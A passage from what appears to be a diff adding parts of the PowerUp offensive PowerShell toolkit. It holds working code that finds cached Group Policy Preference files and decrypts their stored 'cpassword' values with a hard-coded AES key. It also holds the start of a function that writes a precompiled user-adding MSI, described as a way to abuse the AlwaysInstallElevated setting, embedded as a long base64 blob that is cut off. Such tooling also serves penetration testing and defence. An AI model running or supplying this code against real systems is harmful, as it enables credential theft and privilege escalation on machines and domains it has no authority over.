length + $Mod = ($Cpassword.length % 4) + + switch ($Mod) { + '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)} + '2' {$Cpassword += ('=' * (4 - $Mod))} + '3' {$Cpassword += ('=' * (4 - $Mod))} + } + + $Base64Decoded = [Convert]::FromBase64String($Cpassword) + + # Create a new AES .NET Crypto Object + $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider + [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8, + 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) + + # Set IV to all nulls to prevent dynamic generation of IV value + $AesIV = New-Object Byte[]($AesObject.IV.Length) + $AesObject.IV = $AesIV + $AesObject.Key = $AesKey + $DecryptorObject = $AesObject.CreateDecryptor() + [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length) + + return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock) + } + + catch { + Write-Error $Error[0] + } + } + + # helper that parses fields from the found xml preference files + function local:Get-GPPInnerField { + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param( + $File + ) + + try { + $Filename = Split-Path $File -Leaf + [XML] $Xml = Get-Content ($File) + + $Cpassword = @() + $UserName = @() + $NewName = @() + $Changed = @() + $Password = @() + + # check for password field + if ($Xml.innerxml -like "*cpassword*"){ + + Write-Verbose "Potential password in $File" + + switch ($Filename) { + 'Groups.xml' { + $Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + + 'Services.xml' { + $Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + + 'Scheduledtasks.xml' { + $Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + + 'DataSources.xml' { + $Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + + 'Printers.xml' { + $Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + + 'Drives.xml' { + $Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + } + } + + ForEach ($Pass in $Cpassword) { + Write-Verbose "Decrypting $Pass" + $DecryptedPassword = Get-DecryptedCpassword $Pass + Write-Verbose "Decrypted a password of $DecryptedPassword" + #append any new passwords to array + $Password += , $DecryptedPassword + } + + # put [BLANK] in variables + if (-not $Password) {$Password = '[BLANK]'} + if (-not $UserName) {$UserName = '[BLANK]'} + if (-not $Changed) {$Changed = '[BLANK]'} + if (-not $NewName) {$NewName = '[BLANK]'} + + # Create custom object to output results + $ObjectProperties = @{'Passwords' = $Password; + 'UserNames' = $UserName; + 'Changed' = $Changed; + 'NewName' = $NewName; + 'File' = $File} + + $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties + Write-Verbose "The password is between {} and may be more than one value." + if ($ResultsObject) { Return $ResultsObject } + } + + catch {Write-Error $Error[0]} + } + + try { + $AllUsers = $Env:ALLUSERSPROFILE + + if ($AllUsers -notmatch 'ProgramData') { + $AllUsers = "$AllUsers\Application Data" + } + + # discover any locally cached GPP .xml files + $XMlFiles = Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue + + if ( -not $XMlFiles ) { + Write-Verbose 'No preference files found.' + } + else { + Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords." + + ForEach ($File in $XMLFiles) { + Get-GppInnerField $File.Fullname + } + } + } + + catch { + Write-Error $Error[0] + } +} + + +function Write-UserAddMSI { +<# +.SYNOPSIS + +Writes out a precompiled MSI installer that prompts for a user/group addition. +This function can be used to abuse Get-RegistryAlwaysInstallElevated. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Writes out a precompiled MSI installer that prompts for a user/group addition. +This function can be used to abuse Get-RegistryAlwaysInstallElevated. + +.EXAMPLE + +Write-UserAddMSI + +Writes the user add MSI to the local directory. + +.OUTPUTS + +PowerUp.UserAddMSI +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('ServiceProcess.UserAddMSI')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('ServiceName')] + [String] + [ValidateNotNullOrEmpty()] + $Path = 'UserAdd.msi' + ) + + $Binary = '0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgAEAP7/DAAGAAAAAAAAAAEAAAABAAAAAQAAAAAAAAAAEAAAAgAAAAEAAAD+////AAAAAAAAAAD///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP3////+/////v///y8AAAAFAAAABgAAAP7///8IAAAACQAAAAoAAAALAAAADAAAAA0AAAAOAAAADwAAABAAAAARAAAAEgAAABMAAAAUAAAAFQAAACwAAAAYAAAAFgAAABkAAAAaAAAAGwAAABwAAAAdAAAAHgAAAB8AAAAgAAAAIQAAACIAAAAjAAAAJAAAACUAAAAmAAAAJwAAACgAAAApAAAAKgAAACsAAAD+////LQAAAC4AAAAwAAAA/v///zEAAAD+//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////9SAG8AbwB0ACAARQBuAHQAcgB5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFgAFAP//////////AgAAAIQQDAAAAAAAwAAAAAAAAEYAAAAAAAAAAAAAAABQSJaT62LPAQMAAABAFwAAAAAAAAUAUwB1AG0AbQBhAHIAeQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAAIBEAAAABkAAAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANgBAAAAAAAAQEj/P+RD7EHkRaxEMUgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAgEVAAAAAwAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAAAAEAgAAAAAAABASMpBMEOxOztCJkY3QhxCNEZoRCZCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAACAQQAAAABAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACoAAAAwAAAAAAAAAEBIykEwQ7E/Ej8oRThCsUEoSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUAAIBEgAAAA0AAAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKwAAABgAAAAAAAAAQEjKQflFzkaoQfhFKD8oRThCsUEoSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAgH///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsAAAAKgAAAAAAAABASAtDMUE1RwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AAAAAAAAAAAAAAAAAAAAAP///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////////////////AAAAAAAAAAAAA